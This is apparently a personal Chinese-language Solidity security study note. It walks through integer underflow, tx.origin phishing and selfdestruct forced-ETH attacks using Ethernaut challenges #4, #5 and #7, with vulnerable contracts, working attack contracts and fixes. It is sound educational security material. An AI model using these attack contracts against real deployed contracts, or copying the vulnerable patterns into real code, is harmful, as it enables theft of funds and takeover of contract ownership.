整数溢出 + tx.origin钓鱼 + selfdestruct攻击
### 1. 整数溢出与下溢 (Integer Overflow / Underflow)
日期: 2026-05-21 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #integer-overflow #tx-origin #selfdestruct #ethernaut
今日目标
- 深入理解 Solidity 中整数溢出/下溢的原理,掌握 0.8 前后版本的差异
- 掌握
tx.origin与msg.sender的区别以及钓鱼攻击模式 - 理解
selfdestruct强制发送 ETH 的攻击向量 - 完成 Ethernaut 挑战 #5 Token、#4 Telephone、#7 Force
核心概念
1. 整数溢出与下溢 (Integer Overflow / Underflow)
问题根源
Solidity 中整数类型有固定位宽。以 uint8 为例,取值范围是 0 ~ 255。当计算结果超出这个范围时:
- 溢出 (Overflow):
255 + 1 = 0(二进制回绕) - 下溢 (Underflow):
0 - 1 = 255(二进制回绕)
uint8 范围: [0, 255]
255 + 1 → 00000000 (溢出为0)
0 - 1 → 11111111 (下溢为255)
uint256 范围: [0, 2^256 - 1]
最大值 + 1 → 0
0 - 1 → 2^256 - 1 (一个天文数字)
Solidity 版本差异
| 特性 | Solidity < 0.8.0 | Solidity >= 0.8.0 |
|---|---|---|
| 默认行为 | 静默回绕,不报错 | 自动检查,溢出时 revert |
| 防护方式 | 必须用 SafeMath 库 | 内置 checked math |
| 绕过方式 | 无(需手动防护) | unchecked { } 块 |
| Gas 开销 | 低(无检查) | 略高(有检查) |
unchecked 块
Solidity 0.8+ 提供 unchecked 关键字,允许开发者在明确知道不会溢出的场景下跳过检查以节省 Gas:
// Solidity 0.8+
function unsafeIncrement(uint256 x) public pure returns (uint256) {
unchecked {
return x + 1; // 不检查溢出,节省约200 gas
}
}
典型安全用法:循环计数器(因为循环条件已经保证不会溢出)
for (uint256 i = 0; i < length;) {
// 处理逻辑
unchecked { ++i; } // 安全:i < length 保证 i+1 不会溢出
}
2. tx.origin 钓鱼攻击
tx.origin vs msg.sender
用户 EOA → 合约A → 合约B → 合约C
在合约C的视角中:
tx.origin = 用户 EOA(交易发起者,永远是 EOA)
msg.sender = 合约B(直接调用者)
| 属性 | msg.sender | tx.origin |
|---|---|---|
| 含义 | 直接调用者 | 交易最初发起者 |
| 类型 | 可以是 EOA 或合约 | 永远是 EOA |
| 调用链中 | 每一跳都会变 | 始终不变 |
| 安全性 | 推荐用于权限检查 | 不应用于权限检查 |
攻击原理
如果合约用 tx.origin 做权限验证,攻击者可以诱骗合约 owner 调用恶意合约,在恶意合约中再调用目标合约。此时 tx.origin 仍然是 owner,权限检查通过。
3. selfdestruct 强制发送 ETH
selfdestruct(address) 会销毁合约并将合约余额强制发送到指定地址。关键点:
- 目标地址无法拒绝:即使目标没有
receive/fallback函数 - 不触发目标合约代码:不会调用目标的任何函数
- 绕过
address(this).balance检查:合约无法通过余额检查来防止接收 ETH
注意:EIP-6780 (Dencun 升级) 限制了
selfdestruct的行为——只有在创建合约的同一笔交易中调用selfdestruct才会真正删除合约代码和存储。但强制发送 ETH 的行为仍然保留。
代码实战
漏洞示例 1:整数溢出(Ethernaut #5 Token)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0; // 注意:0.6.0 没有溢出保护
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
// 漏洞:uint 下溢!如果 _value > balances[msg.sender]
// 例如 balances = 20, _value = 21
// 20 - 21 在 uint256 下 = 2^256 - 1 (一个巨大的数)
// 这个巨大的数 >= 0,检查通过!
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value; // 下溢:20 - 21 = 极大值
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
攻击方式
// 攻击者初始余额为20个token
// 转21个token给任意地址
token.transfer(anyAddress, 21);
// 结果:攻击者余额 = 20 - 21 = 2^256 - 1 (接近无限的token)
修复方案
// 方案1:使用 Solidity 0.8+(推荐)
pragma solidity ^0.8.0;
function transfer(address _to, uint _value) public returns (bool) {
// 0.8+ 自动检查,如果 _value > balances[msg.sender] 会 revert
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
// 方案2:在 0.6/0.7 中使用 SafeMath
import "@openzeppelin/contracts/math/SafeMath.sol";
contract TokenFixed {
using SafeMath for uint256;
function transfer(address _to, uint _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value); // 溢出时revert
balances[_to] = balances[_to].add(_value);
return true;
}
}
// 方案3:显式检查
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] >= _value, "Insufficient balance");
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
漏洞示例 2:tx.origin 钓鱼(Ethernaut #4 Telephone)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
// 漏洞:用 tx.origin 做权限检查
// 如果通过另一个合约调用,tx.origin != msg.sender
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
ITelephone public target;
constructor(address _target) {
target = ITelephone(_target);
}
function attack() external {
// 此时:
// tx.origin = 调用 attack() 的 EOA(即攻击者)
// msg.sender = 本合约地址(TelephoneAttack)
// 在 Telephone 合约中:
// tx.origin = 攻击者 EOA
// msg.sender = TelephoneAttack 合约
// tx.origin != msg.sender → 条件成立!
target.changeOwner(msg.sender); // 将 owner 改为攻击者
}
}
攻击流程
攻击者 EOA → TelephoneAttack.attack() → Telephone.changeOwner(attacker)
Telephone 合约内部:
tx.origin = 攻击者 EOA
msg.sender = TelephoneAttack 合约地址
tx.origin != msg.sender → true → owner 被修改!
修复方案
contract TelephoneFixed {
address public owner;
constructor() {
owner = msg.sender;
}
// 修复:使用 msg.sender 做权限检查
function changeOwner(address _owner) public {
require(msg.sender == owner, "Not owner");
owner = _owner;
}
}
漏洞示例 3:selfdestruct 强制发送 ETH(Ethernaut #7 Force)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {
// 这个合约什么都没有
// 没有 receive()、没有 fallback()
// 看起来无法接收 ETH
// 但真的无法接收吗?
}
攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceAttack {
constructor(address payable _target) payable {
require(msg.value > 0, "Send some ETH");
// selfdestruct 强制将合约余额发送到 _target
// 目标合约无法拒绝!
selfdestruct(_target);
}
}
// 部署时发送 1 wei:
// new ForceAttack{value: 1 wei}(forceContractAddress);
为什么这很危险?
// 假设有一个游戏合约,依赖精确的余额检查
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "Must send exactly 1 ether");
// 漏洞:依赖 address(this).balance 做逻辑判断
// 攻击者可以用 selfdestruct 强制发送 ETH 打破这个条件
require(address(this).balance <= targetAmount, "Game is over");
if (address(this).balance == targetAmount) {
winner = msg.sender;
}
}
}
修复方案
contract EtherGameFixed {
uint public targetAmount = 7 ether;
uint public depositedAmount; // 使用内部变量追踪,不依赖 balance
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "Must send exactly 1 ether");
depositedAmount += 1 ether; // 用内部变量而非 address(this).balance
require(depositedAmount <= targetAmount, "Game is over");
if (depositedAmount == targetAmount) {
winner = msg.sender;
}
}
}
关键要点总结
整数溢出防护
| 策略 | 适用场景 | 说明 |
|---|---|---|
| 使用 Solidity 0.8+ | 所有新项目 | 默认 checked math |
| SafeMath 库 | 遗留项目 (< 0.8) | OpenZeppelin 提供 |
unchecked 块 | 已证明安全的计算 | 节省 Gas,但需确认安全 |
tx.origin 规则
- 永远不要用
tx.origin做权限验证 tx.origin唯一合理用途:判断调用者是否是 EOA(require(tx.origin == msg.sender),用于禁止合约调用)- 所有权限检查使用
msg.sender
selfdestruct 防护
- 不要依赖
address(this).balance做业务逻辑 - 使用内部变量追踪金额
- EIP-6780 之后
selfdestruct行为有变化,但强制发 ETH 仍有效
常见误区
误区 1:"Solidity 0.8+ 不需要担心溢出"
错误!unchecked 块中仍然可能溢出。而且类型转换(casting)也可能导致截断:
uint256 big = 300;
uint8 small = uint8(big); // small = 44 (300 % 256 = 44),没有 revert!
误区 2:"禁止 selfdestruct 就安全了"
错误!即使你的合约没有 selfdestruct,别人可以创建新合约并 selfdestruct 向你强制发 ETH。此外,矿工奖励(coinbase transaction)也能强制发 ETH 到任何地址。
误区 3:"tx.origin == msg.sender 就是安全的"
require(tx.origin == msg.sender) 确实能确保调用者是 EOA,但这不是一个好的安全模式——它阻止了所有合约交互(包括多签钱包、AA 钱包),破坏了可组合性。
面试关联
Q: 请列举 Solidity 中常见的整数相关漏洞,以及如何防护?
简短回答:整数溢出和下溢是经典漏洞。Solidity 0.8+ 通过 checked math 默认防护,但 unchecked 块和类型转换仍需注意。
详细回答:
- 溢出/下溢:0.8 之前需要 SafeMath,0.8+ 自动检查
- 类型转换截断:
uint256转uint8可能静默丢失数据 unchecked风险:开发者可能错误地在不安全场景使用- 乘除顺序:
a * b / c可能在a * b步骤溢出,应改为a / c * b或使用mulDiv
Q: tx.origin 和 msg.sender 有什么区别?为什么不应该用 tx.origin 做权限验证?
回答:tx.origin 是交易的最终发起者(始终是 EOA),msg.sender 是直接调用者。使用 tx.origin 做权限验证会导致钓鱼攻击——攻击者诱骗 owner 调用恶意合约,恶意合约再调用目标合约,此时 tx.origin 仍是 owner,权限检查通过。
Q: 如何防止合约被强制发送 ETH?
回答:无法完全防止。selfdestruct、coinbase 奖励、合约创建前预先发送等方式都能绕过。正确做法是不依赖 address(this).balance 做业务逻辑,而是用内部变量追踪。
参考资源
- Ethernaut #5 Token — 整数下溢实战
- Ethernaut #4 Telephone — tx.origin 攻击实战
- Ethernaut #7 Force — selfdestruct 实战
- SWC-101 Integer Overflow — 漏洞分类注册表
- Solidity 0.8 Breaking Changes — 官方文档
- EIP-6780 — selfdestruct 行为变更
- OpenZeppelin SafeMath — SafeMath 源码